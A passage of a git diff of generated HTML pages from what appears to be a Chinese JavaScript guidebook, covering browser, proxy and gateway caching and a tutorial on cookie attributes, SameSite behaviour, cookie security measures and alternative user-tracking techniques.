                        缓存存在的意义就是当用户点击返回按钮或是再次去访问某个页面的时候能够更快的响应。尤其是在多页应用的网站中,如果你在多个页面使用了一张相同的图片,那么缓存这张图片就变得特别的有用。

                        代理服务器缓存

                        代理服务器缓存原理和浏览器端类似,但规模要大得多,因为是为成千上万的用户提供缓存机制,大公司和大型的 ISP 提供商通常会将它们设立在防火墙上或是作为一个独立的设备来运营。(下文如果没有特殊说明,所有提到的缓存服务器都是指代理服务器。)

                        由于缓存服务器不是客户端或是源服务器的一部分,它们存在于网络中,请求路由必须经过它们才会生效,所以实际上你可以去手动设置浏览器的代理,或是通过一个中间服务器来进行转发,这样用户自然就察觉不到代理服务器的存在了。

                        代理服务器缓存就是一个共享缓存,不只为一个用户服务,经常为大量用户使用,因此在减少相应时间和带宽使用方面很有效:因为同一个缓存可能会被重用多次。

                        网关缓存

                        网关缓存也被称为 代理缓存反向代理缓存,网关也是一个中间服务器,网关缓存一般是网站管理员自己部署,从让网站拥有更好的性能。

                        CDNS(网络内容分发商)分布网关缓存到整个(或部分)互联网上,并出售缓存服务给需要的网站,比如国内的阿里云、腾讯云、七牛云和又拍云等都有这种服务。

                        数据库缓存

                        数据库缓存是指当我们的应用极其复杂,表自然也很繁杂,我们必须进行频繁的进行数据库查询,这样可能导致数据库不堪重负,一个好的办法就是将查询后的数据放到内存中,下一次查询直接从内存中取就好了。关于数据库缓存本篇不会展开。

                        前端缓存
                        +

                        浏览器缓存机制

                        缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。

                        浏览器缓存(Brower Caching)是浏览器在本地磁盘对用户最近请求过的文档进行存储,当访问者再次访问同一页面时,浏览器就可以直接从本地磁盘加载文档。

                        很多开发者习惯把 Cookie、WebStorage 以及 IndexedDB 存储的数据也称之为缓存,理由是都是保存在客户端的数据,没有什么区别。其实这是不严谨的,Cookie 的存在更多的是为了让服务端区别用户,WebStorage 和 IndexedDB 则更多用在保存具体的数据和在客户端存储大量结构化数据(文件 / Blobs)上面。

                        缓存的作用

                        1. 缓解服务器压力(不用每次去请求资源)
                        2. 提升性能(打开本地资源速度当然比请求回来再打开要快得多)
                        3. 减少带宽消耗(我相信你可以理解)

                        缓存在宏观上可以分成两类:私有缓存共享缓存。共享缓存就是那些能被各级代理缓存的缓存。私有缓存就是用户专享的,各级代理不能缓存的缓存。

                        浏览器缓存

                        我相信只要你经常使用某个浏览器(Chrome、Firefox、IE 等),肯定知道这些浏览器在设置里面都是有个清除缓存功能,这个功能存在的作用就是删除存储在你本地磁盘上资源副本,也就是清除缓存。

                        缓存存在的意义就是当用户点击返回按钮或是再次去访问某个页面的时候能够更快的响应。尤其是在多页应用的网站中,如果你在多个页面使用了一张相同的图片,那么缓存这张图片就变得特别的有用。

                        代理服务器缓存

                        代理服务器缓存原理和浏览器端类似,但规模要大得多,因为是为成千上万的用户提供缓存机制,大公司和大型的 ISP 提供商通常会将它们设立在防火墙上或是作为一个独立的设备来运营。(下文如果没有特殊说明,所有提到的缓存服务器都是指代理服务器。)

                        由于缓存服务器不是客户端或是源服务器的一部分,它们存在于网络中,请求路由必须经过它们才会生效,所以实际上你可以去手动设置浏览器的代理,或是通过一个中间服务器来进行转发,这样用户自然就察觉不到代理服务器的存在了。

                        代理服务器缓存就是一个共享缓存,不只为一个用户服务,经常为大量用户使用,因此在减少相应时间和带宽使用方面很有效:因为同一个缓存可能会被重用多次。

                        网关缓存

                        网关缓存也被称为 代理缓存反向代理缓存,网关也是一个中间服务器,网关缓存一般是网站管理员自己部署,从让网站拥有更好的性能。

                        CDNS(网络内容分发商)分布网关缓存到整个(或部分)互联网上,并出售缓存服务给需要的网站,比如国内的阿里云、腾讯云、七牛云和又拍云等都有这种服务。

                        数据库缓存

                        数据库缓存是指当我们的应用极其复杂,表自然也很繁杂,我们必须进行频繁的进行数据库查询,这样可能导致数据库不堪重负,一个好的办法就是将查询后的数据放到内存中,下一次查询直接从内存中取就好了。关于数据库缓存本篇不会展开。

                        前端缓存
                        - + diff --git a/browser-object-model/offline-and-storage/cookie/index.html b/browser-object-model/offline-and-storage/cookie/index.html index b998cfdd3..6dd611081 100644 --- a/browser-object-model/offline-and-storage/cookie/index.html +++ b/browser-object-model/offline-and-storage/cookie/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Cookie - JavaScript Guidebook -

                        Cookie

                        HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

                        Cookie 主要用于以下三个方面:

                        • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
                        • 个性化设置(如用户自定义设置、主题等)
                        • 浏览器行为跟踪(如跟踪分析用户行为等)

                        属性构成

                        属性名称说明
                        Name名称Cookie 名称不能相同,相同的名称会被覆盖
                        Value储存在 Cookie 中的字符串值。值必须被 URL 编码
                        Domain当该值与客户端请求的域相匹配时,浏览器会自动添加到请求头中
                        Path路径对于指定域中的那个路径,应该向服务器发送 Cookie。例如,你可以指定 Cookie 只有从 http://www.wrox.com/books/ 中才能访问,那么 http://www.wrox.com 的页面就不会发送 Cookie 信息,即使请求都是来自同一个域的
                        Expires失效时间表示 Cookie 将被删除的时间戳。📍 详情点击
                        Max-Age失效时间表示 Cookie 将被删除的剩余时间,单位为秒。过了这个时间 ,浏览器将不会保留这个 Cookie。如果同时指定了 Expires 和 Max-Age,那么 Max-Age 的值将优先生效
                        Size大小Cookie 体积大小
                        HTTP指定该 Cookie 无法通过 JavaScript 脚本访问。主要是 document.cookie 属性、XMLHttpRequest 对象和 Request API 都无法访问。唯有浏览器发送 HTTP 请求时,才会自动添加 Cookie 至请求中
                        Secure安全标志浏览器只有在加密协议 HTTPS 下,才将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的的 Secure 属性
                        SameSite

                        Name

                        • 不区分大小写
                        • 实践中需要区分大小写,某些服务器会处理
                        • 名称必须是 URL 编码

                        由于 Cookie 规定是名称/值是不允许包含分号,逗号,空格的,所以为了不给用户到来麻烦,考虑服务器的兼容性,任何存储 Cookie 的数据都应该被编码。

                        Domain

                        Domain 指定了 Cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址(URL)中的主机(host)部分(但是不包含子域名)。

                        像淘宝首页设置的 Domain 就是 .taobao.com,这样无论是 a.taobao.com 还是 b.taobao.com 都可以使用 Cookie。

                        在这里注意的是,不能跨域设置 Cookie,比如阿里域名下的页面把 Domain 设置成百度是无效的:

                        Set-Cookie: qwerty=219ffwef9w0f; Domain=baidu.com; Path=/; Expires=Wed, 30 Aug 2020 00:00:00 GMT
                        • 前面带点和不带点的区别
                          • 带点:任何 subdomain 都可以访问,包括父 domain
                          • 不带点:只有完全一样的域名才能访问,subdomain 不能(但在 IE 下比较特殊,它支持 subdomain 访问)

                        Path

                        Path 指定了一个 URL 路径,这个路径必须出现在要请求的资源的路径中才可以发送 Cookie 首部。比如设置 Path=/docs/docs/Web/ 下的资源会带 Cookie 首部,/test 则不会携带 Cookie 首部。

                        Domain 和 Path 标识共同定义了 Cookie 的作用域:即 Cookie 应该发送给哪些 URL。

                        • 默认值为设置该 Cookie 的网页所在的目录

                        ⚠️ 注意:

                        • 发生跨域 XHR 请求时,即使请求 URL 的域名和路径都满足 Cookie 的 domainpath,默认情况下 Cookie 也不会自动被添加到请求头部中。
                        • domain 是可以设置为页面本身的域名(本域),或页面本身域名的父域,但不能是公共后缀 public suffix。举例说明下:如果页面域名为 www.baidu.comdomain 可以设置为 www.baidu.com,也可以设置为 baidu.com,但不能设置为 .comcom

                        Expires

                        expires 用于设置 Cookie 的过期时间。

                        Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
                        • 必须为 GMT 格式的日期(Wdy,DD-Mon-YYYY HH:SS GMT),用于指定应该删除 Cookie 的准确时间。可以通过 new Date().toGMTString() 或者 new Date().toUTCString() 来获得。
                        • 当 Expires 属性 缺省 时,表示是会话性 Cookie,如 Expires 的值为 Session,表示的就是会话性 Cookie。当为会话性 Cookie 的时候,值保存在客户端内存中,并在用户关闭浏览器时失效。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样。
                        • 与会话性 Cookie 相对的是持久性 Cookie,持久性 Cookies 会保存在用户的硬盘中,直至过期或者清除 Cookie。这里值得注意的是,设定的日期和时间只与客户端相关,而不是服务端。
                        • 如果你设置的 Expires 是个以前的时间,则 Cookie 会被立刻删除。

                        通过 expires 属性将 Cookie 划分为临时 Cookie 和永久 Cookie

                        存储在硬盘上的 Cookie 可以在不同的浏览器进程间共享,比如两个 IE 窗口。而对于保存在内存的 Cookie,不同的浏览器有不同的处理方式。可以类比于本地存储的 LocalStorage。

                        Max-Age

                        Max-Age 用于设置在 Cookie 失效之前需要经过的秒数。比如:

                        Set-Cookie: id=a3fWa; Max-Age=604800;

                        Max-Age 可以为正数、负数、甚至是 0

                        • 如果 max-Age 属性为正数时,浏览器会将其持久化,即写到对应的 Cookie 文件中。
                        • max-Age 属性为负数,则表示该 Cookie 只是一个会话性 Cookie。
                        • max-Age0 时,则会立即删除这个 Cookie。

                        假如 Expires 和 Max-Age 都存在,Max-Age 优先级更高。

                        HTTPOnly

                        • 该属性为 Cookie 的 HttpOnly 属性
                          • 当值为 true 时,则只有在 HTTP 请求头中会带此 Cookie 的信息,客户端无法通过 JavaScrept 代码访问 cookie。(能有效地防止 XSS 攻击)
                          • 当值为 false 时,客户端可以通过 JavaScript 代码去访问(包括读取、修改、删除等)这个 Cookie 的。
                        • 在客户端不能通过 JavaScript 代码去设置一个 HttpOnly 类型的 Cookie,而需要通过服务端来设置。

                        Secure

                        标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。使用 HTTPS 安全协议,可以保护 Cookie 在浏览器和 Web 服务器间的传输过程中不被窃取和篡改。

                        SameSite

                        SameSite 属性可以让 Cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

                        SameSite 可以有下面三种值:

                        • strict:仅允许一方请求携带 Cookie,即浏览器将只发送相同站点请求的 Cookie,即当前网页 URL 与请求目标 URL 完全一致。
                        • lax:允许部分第三方请求携带 Cookie
                        • none:无论是否跨站都会发送 Cookie

                        之前默认是 none 的,Chrome80 后默认是 lax

                        首先要理解的一点就是跨站和跨域是不同的。同站(same-site)/ 跨站(cross-site)和第一方(first-party)/ 第三方(third-party)是等价的。但是与浏览器同源策略(SOP)中的同源(same-origin)/ 跨域(cross-origin)是完全不同的概念。

                        同源策略的同源是指两个 URL 的协议/主机名/端口一致。例如,https://www.taobao.com/pages/,它的协议是 HTTPS,主机名是 www.taobao.com,端口是 443。

                        同源策略作为浏览器的安全基石,其 同源 判断是比较严格的,相对而言,Cookie 中的 同站 判断就比较宽松:只要两个 URL 的 eTLD+1 相同即可,不需要考虑协议和端口。其中,eTLD 表示有效顶级域名,注册于 Mozilla 维护的公共后缀列表(Public Suffix List)中,例如,.com.co.uk.github.io 等。eTLD+1 则表示,有效顶级域名+二级域名,例如 taobao.com 等。

                        举几个例子,www.taobao.comwww.baidu.com 是跨站,www.a.taobao.comwww.b.taobao.com 是同站,a.github.iob.github.io 是跨站(注意是跨站)。

                        接下来看下从 None 改成 Lax 到底影响了哪些地方的 Cookies 的发送?直接来一个图表:

                        请求类型实例以前StrictLaxNone
                        链接<a href="..."></a>发送 Cookie不发送发送 Cookie发送 Cookie
                        预加载<link rel="prerender" href=""/>发送 Cookie不发送发送 Cookie发送 Cookie
                        GET 表单<from method="GET" action="">发送 Cookie不发送发送 Cookie发送 Cookie
                        POST 表单<from method="POST" action="">发送 Cookie不发送不发送发送 Cookie
                        iframe<iframe src="..."></iframe>发送 Cookie不发送不发送发送 Cookie
                        AJAX$.get("...")发送 Cookie不发送不发送发送 Cookie
                        Image<img src="...">发送 Cookie不发送不发送发送 Cookie

                        从上图可以看出,对大部分 Web 应用而言,Post 表单、iframe、AJAX、Image 这四种情况从以前的跨站会发送三方 Cookie,变成了不发送。

                        • Post 表单:应该的,学 CSRF 总会举表单的例子。
                        • iframe:iframe 嵌入的 web 应用有很多是跨站的,都会受到影响。
                        • AJAX:可能会影响部分前端取值的行为和结果。
                        • Image:图片一般放 CDN,大部分情况不需要 Cookie,故影响有限。但如果引用了需要鉴权的图片,可能会受到影响。

                        除了这些还有 script 的方式,这种方式也不会发送 Cookie,像淘宝的大部分请求都是 jsonp,如果涉及到跨站也有可能会被影响。

                        特性

                        1. 一个浏览器针对一个网站最多存 20 个 Cookie,浏览器一般只允许存放 300 个 Cookie
                        2. 每个 Cookie 的长度不能超过 4KB(稀缺)。但不同的浏览器实现的不同
                        3. Cookie 的不可跨域名性。
                        4. 浏览器的同源政策规定,两个网址只要域名和端口相同,就可以共享 Cookie。注意,这里不要求协议相同。

                        设置

                        服务端通过对客户端的网络请求的响应头,设置字段 Set-Cookie 进行设置 cookie。

                        • 一个 Set-Cookie 字段只能设置一个 Cookie,当你要设置多个 Cookie,需要添加同样多的 Set-Cookie 字段
                        • 服务端可以设置 Cookie 的所有选项:Expires、Domain、Path、Secure、HttpOnly

                        客户端可以设置 Cookie 的选贤:Expires、Domain、Path、Secure(有条件:只有在 HTTP 协议的网页中,客户端设置 Secure 类型的 Cookie 才能成功),但无法设置 HttpOnly 选项。

                        设置多个 Cookie:

                        document.cookie = 'name=Jonh';
                        document.cookie = 'age=12';
                        document.cookie = 'grade=111';

                        操作

                        发送

                        浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。 也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。 这时要使用 HTTP 头信息的 Cookie 字段。

                        读取

                        查看浏览器是否开启 Cookie 功能:

                        window.navigator.cookieEnabled;

                        获取当前网页的 Cookie:

                        document.cookie;

                        修改

                        Cookie 的修改只需要对 Cookie 进行重新赋值,旧的值即会被新的值所覆盖。但需要注意的是,在设置新的 Cookie 时,keydomainpathsecure 这几个选项一定要与旧 Cookie 保持一致。否则不会修改旧值,而是添加了一个新的 Cookie。

                        删除

                        Cookie 的删除同样需要对 Cookie 进行重新赋值,同时,将这个新的 Cookie 的 expires 选项设置为一个过去的时间点就行了。同样需要注意的是,keydomainpathsecure 这几个选项一定要与旧 Cookie 保持一致。

                        实现原理

                        Cookie 实际上是一小段的文本信息。客户端请求服务器,如果服务器需要记录该用户状态,就使用响应头向客户端器颁发一个 Cookie。客户端浏览器会把 Cookie 保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该 Cookie 一同提交给服务器。服务器检查该 Cookie,以此来辨认用户状态。服务器还可以根据需要修改 Cookie 的内容。

                        这个跟其实浏览器缓存类似:

                        1. 客户端在浏览器的地址栏中键入 Web 服务的 URL,浏览器发送读取网页的请求
                        2. 服务器接收到请求后,产生一个 Set-Cookie 报头,放在 HTTP 报文中一起回传客户端,发起一次会话
                        3. 客户端收到答应后,若要继续该次会话,则将 Set-Cookie 中的内容取出,形成一个 Cookie.txt 文件储存在客户端计算机里

                        安全问题

                        通常 Cookie 信息都是使用 HTTP 连接传递数据,这种传递方式很容易被查看,而且 JavaScript 里面直接有一个 document.Cookie 方法,可以直接获取到用户的 cookie,所以 Cookie 存储的信息容易被窃取。假如 Cookie 中所传递的内容比较重要,那么就要求使用加密的数据传输。

                        如何来防范 Cookie 的安全呢?有以下几种方法:

                        1. HttpOnly 属性:如果在 Cookie 中设置了 HttpOnly 属性,那么通过程序(JavaScript 脚本、Applet 等)将无法读取到 Cookie 信息,这样能有效的防止 XSS 攻击。
                        2. Secure 属性:当设置为 true 时,表示创建的 Cookie 会被以安全的形式向服务器传输,也就是只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证,如果是 HTTP 连接则不会传递该信息,所以不会被盗取到 Cookies 的具体内容。

                        登录时候用 Cookie 的话,安全性问题怎么解决?

                        第一种是:

                        把用户对象(包含了用户 ID、用户名、是否登录..)序列化成字符串再加密存入 cookie。

                        密钥是:客户端 IP + 浏览器 Agent + 用户标识 + 固定的私有密钥

                        当 Cookie 被窃取后,只要任一信息不匹配,就无法解密 Cookie,进而也就不能登录了。

                        这样做的缺点是 IP 不能变动、频繁加密解密会加重 CPU 负担

                        第二种是:

                        将用户的认证信息保存在一个 Cookie 中,具体如下:

                        1. Cookie 名:UID。推荐进行加密,比如 MD5(站点名称)等。
                        2. Cookie 值:登录名 | 有效时间 Expires | hash 值。
                          • hash 值可以由 登录名 + 有效时间 Expires + 用户密码(加密后的)的前几位 + Salt(Salt 是保证在服务器端站点配置文件中的随机数)

                        这样子设计有以下几个优点:

                        1. 即使数据库被盗了,盗用者还是无法登录到系统,因为组成 Cookie 值的 salt 是保证在服务器站点配置文件中而非数据库。
                        2. 如果账户被盗了,用户修改密码,可以使盗用者的 Cookie 值无效。
                        3. 如果服务器端的数据库被盗了,通过修改 salt 值可以使所有用户的 Cookie 值无效,迫使用户重新登录系统。
                        4. 有效时间 Expires 可以设置为 当前时间+过去时间(比如 2 天),这样可以保证每次登录的 Cookie 值都不一样,防止盗用者窥探到自己的 Cookie 值后作为后门,长期登录。

                        常用场景

                        Cookie 主要用来分辨两个请求是否来自同一浏览器,以及用来保存一些状态信息。

                        1. 会话管理(Session):保存登陆,购物车等需要记录的信息
                        2. 个性化:保存用户的偏好,如网页的背景色,字体大小等
                        3. 追踪:记录和分析用户行为

                        很多人用 Cookie 作为客户端的存储,虽然可行,但是并不推荐这种做法。

                        1. Cookie 设计初衷并非用于客户端存储,且可存储容量很小
                        2. 缺乏数据操作接口
                        3. 影响浏览器性能

                        客户端存储推荐使用 WebStorageAPI

                        替代方案

                        JWT

                        JSON Web Token(JWT)是一个自包含的信息包,可以用来存储用户标识以及认证信息。可以被用来代替 Session Cookie。和 Cookie 自动附加到每个 HTTP 请求的方式不一样,JWT 必须被 Web 应用明确指定附加到那个 HTTP 请求上。

                        HTTP 认证

                        HTTP 包含基本认证以及摘要认证协议,利用这些协议只有在提供了正确的用户名和密码后才能访问到 Web 页面。如果服务端需要类似的认证信息来确保 Web 页面的访问权限,那么浏览器每次页面请求的时候都要发送这些认证信息。这些认证信息也可以用来追踪用户。

                        IP 地址

                        有些用户可能会被基于访问页面的电脑 IP 地址追踪过,服务端知道当前正在运行浏览器的电脑的 IP 地址,理论上可以对这个 IP 地址关联一个用户 Session。

                        然后 IP 地址通常不是一个可靠的追踪 Session 或者标识用户的方法。许多电脑设计的时候就是为了让一个单独用户使用的,例如办公 PC,家庭 PC 会在网络地址转换协议下共享一个公共的 IP 地址。而且某些系统,例如 Tor 设计的时候就是为了保持匿名性的,利用 IP 地址追踪用户显然是不合适的,也是不可能的。

                        URL 查询字符串

                        一个更精确的技术是基于 URL 中嵌入信息。URL 中的查询字符串部分通常就是为了实现这个目的的,当然也可以使用其他部分。Java Servlet 和 PHP Session 机制都是使用这种机制,如果 Cookie 被禁止了。

                        这种方法由服务端在 Web 页面的所有链接中追加包含一个独立 Session 标识的查询字符串组成。当用户点击了其中了一个链接,浏览器把查询字符串传给服务端,允许服务端识别用户维持状态。

                        这些类型的查询字符串非常像 Cookie,都包含任意的信息供服务端选择,都会随请求返回给服务端。然而其中还是有点不同的。由于查询字符串是 URL 中的一部分,如果 URL 后面被重复发送了,那么上面附加的相同信息将会被发送到服务端,这样可能会产生混乱。例如,如果用户的偏好信息被放在了查询字符串中,用户把这个 URL 通过邮件发给了另一个用户,那么这些偏好信息就会变成另一个用户的。

                        而且如果相同用户从不同的源多次访问相同的页面,这样不能确保每次使用相同的查询字符串。例如,如果一个用户第一次通过一个页面的内部站点访问了一个页面,然后第二次又通过外部的搜索引擎访问到这个页面,这样查询字符串可能会不同。如果在这种情况下使用 Cookie,Cookie 可以是相同的。

                        使用查询字符串其他缺点就是安全问题。在查询字符串中存储标识 Session 的数据可以导致 Session 固定攻击, Referer 日志攻击以及其他安全漏洞。把 Session 标识转成 HTTP Cookie 更安全。

                        隐藏的表单字段

                        另一种会话跟踪是使用隐藏域的 Web 表单。这个技术很像使用 URL 查询字符串去保存信息,也有一些优点和缺点。事实上,如果通过 HTTP 的 GET 方法处理表单,那么这种技术就和使用 URL 查询字符串类似,因为 GET 方法会把表单字段作为查询字符串追加到 URL 后面。但是大部分表单都是通过 HTTP 的 POST 方法处理,这样表单信息包括隐藏的字段都会在 HTTP 请求体中发送,这样既不是 URL 中的一部分,也不是 Cookie 的一部分。

                        从追踪的角度来看这种方式有两种好处。第一,把追踪信息放在 HTTP 请求体中而不是 URL 中意味着它不会被普通用户察觉。第二,当用户复制 URL 的时候不会复制到 Session 信息。

                        Window.name DOM 属性

                        所有的现代浏览器都可以通过 JavaScript 使用 DOM 属性 window.name 存储一个相当大的数据(2-23M)。这个数据可以用来代替 Session Cookie 也是可以跨域的。这个技术可以和 JSON 对象一起使用来存储客户端上的复杂 Session 变量集合。

                        不足就是美国单独的窗口或者 Tab 页刚开始打开的时候会有一个空的 window.name 属性。而且,这个属性可以用来追踪不同站点的访问者。

                        在某些方面,这种方法可能比 Cookie 更加方便,因为它的内容不会像 Cookie 那样在每次请求的时候自动的发送给服务端,所以它不易收到网络 Cookie 嗅探攻击。然而如果不采用特殊的方法保护数据,它很容易受到其他攻击,因为数据可以被在同一个窗口或者 Tab 中打开的其他站点获取到。

                        广告主标识码

                        苹果使用了追踪技术称为 广告主标识码(IDFA)。这种技术会给每个购买苹果产品的用户分配一个唯一标识。这个唯一标识会被苹果网络广告系统使用,来确定用户正在查看或者回复的广告。

                        ETag

                        因为浏览器会缓存 ETags,然后在后续的请求相同资源时返回,追踪服务器可以简单的复制从浏览器接受的任意 ETag 来确保 ETag 长久留存(就像持久化 Cookie 一样)。增加缓存头也可以加强 ETag 数据的保存。

                        在某些浏览器中可以通过清理缓存来清除 ETag 数据。

                        web 存储

                        一些 Web 浏览器支持持久化机制,允许页面本地存储信息以后使用。

                        HTML5 标准(绝大多数现代浏览器在某种程度上都支持)包含了一个 JavaScript API 叫做 Web storage:Local Storage 和 Session Storage。Local Storage 的行为和持久化 Cookie 类似,而 Session Storage 的行为和 Session Cookie 的行为类似,也就是 Session Storage 是绑定在一个单独的 Tab 或者窗口的生命周期中的(也就是页面 Session),而 Session Cookie 是针对整个浏览器的。

                        IE 支持在浏览器历史中持久化信息,在浏览器的收藏夹中,以一个 XML 格式存储,或者直接在页面中存储到硬盘。

                        一些 Web 浏览器插件也包含持久化机制。例如 Flash 有 Local shared object,Silverlight 有 Isolated storage。

                        浏览器缓存

                        浏览器缓存也可以用来存储信息,利用这些信息也可以用来追踪用户。这项技术利用的真相是当浏览器判断出来缓存的已经是最新资源时可以利用缓存而不是重新从站点下载。

                        例如,一个站点托管了一个 JavaScript 文件,这个 JavaScript 文件可以给用户指定一个唯一标识(例如,var userId = 3243242)。只要用户访问之后,每次用户再访问这个页面时,这个文件都会从缓存中获取而不是从服务端获取。所以它的内容永远不会变。

                        浏览器指纹

                        浏览器指纹是指浏览器配置信息的集合,例如版本号,屏幕分辨率,操作系统。指纹信息可以用来完全或者部分标识独立用户或者设备,即使 Cookie 已经被关闭了。

                        基本的 Web 浏览器配置信息一直都在被 Web 分析服务搜集为了精确的统计真实网络流量和不同类型的点击欺诈。在客户端脚本的帮助下,搜集更多的参数也是有可能的。

                        参考资料

                        +

                        Cookie

                        HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

                        Cookie 主要用于以下三个方面:

                        • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
                        • 个性化设置(如用户自定义设置、主题等)
                        • 浏览器行为跟踪(如跟踪分析用户行为等)

                        属性构成

                        属性名称说明
                        Name名称Cookie 名称不能相同,相同的名称会被覆盖
                        Value储存在 Cookie 中的字符串值。值必须被 URL 编码
                        Domain当该值与客户端请求的域相匹配时,浏览器会自动添加到请求头中
                        Path路径对于指定域中的那个路径,应该向服务器发送 Cookie。例如,你可以指定 Cookie 只有从 http://www.wrox.com/books/ 中才能访问,那么 http://www.wrox.com 的页面就不会发送 Cookie 信息,即使请求都是来自同一个域的
                        Expires失效时间表示 Cookie 将被删除的时间戳。📍 详情点击
                        Max-Age失效时间表示 Cookie 将被删除的剩余时间,单位为秒。过了这个时间 ,浏览器将不会保留这个 Cookie。如果同时指定了 Expires 和 Max-Age,那么 Max-Age 的值将优先生效
                        Size大小Cookie 体积大小
                        HTTP指定该 Cookie 无法通过 JavaScript 脚本访问。主要是 document.cookie 属性、XMLHttpRequest 对象和 Request API 都无法访问。唯有浏览器发送 HTTP 请求时,才会自动添加 Cookie 至请求中
                        Secure安全标志浏览器只有在加密协议 HTTPS 下,才将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的的 Secure 属性
                        SameSite

                        Name

                        • 不区分大小写
                        • 实践中需要区分大小写,某些服务器会处理
                        • 名称必须是 URL 编码

                        由于 Cookie 规定是名称/值是不允许包含分号,逗号,空格的,所以为了不给用户到来麻烦,考虑服务器的兼容性,任何存储 Cookie 的数据都应该被编码。

                        Domain

                        Domain 指定了 Cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址(URL)中的主机(host)部分(但是不包含子域名)。

                        像淘宝首页设置的 Domain 就是 .taobao.com,这样无论是 a.taobao.com 还是 b.taobao.com 都可以使用 Cookie。

                        在这里注意的是,不能跨域设置 Cookie,比如阿里域名下的页面把 Domain 设置成百度是无效的:

                        Set-Cookie: qwerty=219ffwef9w0f; Domain=baidu.com; Path=/; Expires=Wed, 30 Aug 2020 00:00:00 GMT
                        • 前面带点和不带点的区别
                          • 带点:任何 subdomain 都可以访问,包括父 domain
                          • 不带点:只有完全一样的域名才能访问,subdomain 不能(但在 IE 下比较特殊,它支持 subdomain 访问)

                        Path

                        Path 指定了一个 URL 路径,这个路径必须出现在要请求的资源的路径中才可以发送 Cookie 首部。比如设置 Path=/docs/docs/Web/ 下的资源会带 Cookie 首部,/test 则不会携带 Cookie 首部。

                        Domain 和 Path 标识共同定义了 Cookie 的作用域:即 Cookie 应该发送给哪些 URL。

                        • 默认值为设置该 Cookie 的网页所在的目录

                        ⚠️ 注意:

                        • 发生跨域 XHR 请求时,即使请求 URL 的域名和路径都满足 Cookie 的 domainpath,默认情况下 Cookie 也不会自动被添加到请求头部中。
                        • domain 是可以设置为页面本身的域名(本域),或页面本身域名的父域,但不能是公共后缀 public suffix。举例说明下:如果页面域名为 www.baidu.comdomain 可以设置为 www.baidu.com,也可以设置为 baidu.com,但不能设置为 .comcom

                        Expires

                        expires 用于设置 Cookie 的过期时间。

                        Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
                        • 必须为 GMT 格式的日期(Wdy,DD-Mon-YYYY HH:SS GMT),用于指定应该删除 Cookie 的准确时间。可以通过 new Date().toGMTString() 或者 new Date().toUTCString() 来获得。
                        • 当 Expires 属性 缺省 时,表示是会话性 Cookie,如 Expires 的值为 Session,表示的就是会话性 Cookie。当为会话性 Cookie 的时候,值保存在客户端内存中,并在用户关闭浏览器时失效。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样。
                        • 与会话性 Cookie 相对的是持久性 Cookie,持久性 Cookies 会保存在用户的硬盘中,直至过期或者清除 Cookie。这里值得注意的是,设定的日期和时间只与客户端相关,而不是服务端。
                        • 如果你设置的 Expires 是个以前的时间,则 Cookie 会被立刻删除。

                        通过 expires 属性将 Cookie 划分为临时 Cookie 和永久 Cookie

                        存储在硬盘上的 Cookie 可以在不同的浏览器进程间共享,比如两个 IE 窗口。而对于保存在内存的 Cookie,不同的浏览器有不同的处理方式。可以类比于本地存储的 LocalStorage。

                        Max-Age

                        Max-Age 用于设置在 Cookie 失效之前需要经过的秒数。比如:

                        Set-Cookie: id=a3fWa; Max-Age=604800;

                        Max-Age 可以为正数、负数、甚至是 0

                        • 如果 max-Age 属性为正数时,浏览器会将其持久化,即写到对应的 Cookie 文件中。
                        • max-Age 属性为负数,则表示该 Cookie 只是一个会话性 Cookie。
                        • max-Age0 时,则会立即删除这个 Cookie。

                        假如 Expires 和 Max-Age 都存在,Max-Age 优先级更高。

                        HTTPOnly

                        • 该属性为 Cookie 的 HttpOnly 属性
                          • 当值为 true 时,则只有在 HTTP 请求头中会带此 Cookie 的信息,客户端无法通过 JavaScrept 代码访问 cookie。(能有效地防止 XSS 攻击)
                          • 当值为 false 时,客户端可以通过 JavaScript 代码去访问(包括读取、修改、删除等)这个 Cookie 的。
                        • 在客户端不能通过 JavaScript 代码去设置一个 HttpOnly 类型的 Cookie,而需要通过服务端来设置。

                        Secure

                        标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。使用 HTTPS 安全协议,可以保护 Cookie 在浏览器和 Web 服务器间的传输过程中不被窃取和篡改。

                        SameSite

                        SameSite 属性可以让 Cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

                        SameSite 可以有下面三种值:

                        • strict:仅允许一方请求携带 Cookie,即浏览器将只发送相同站点请求的 Cookie,即当前网页 URL 与请求目标 URL 完全一致。
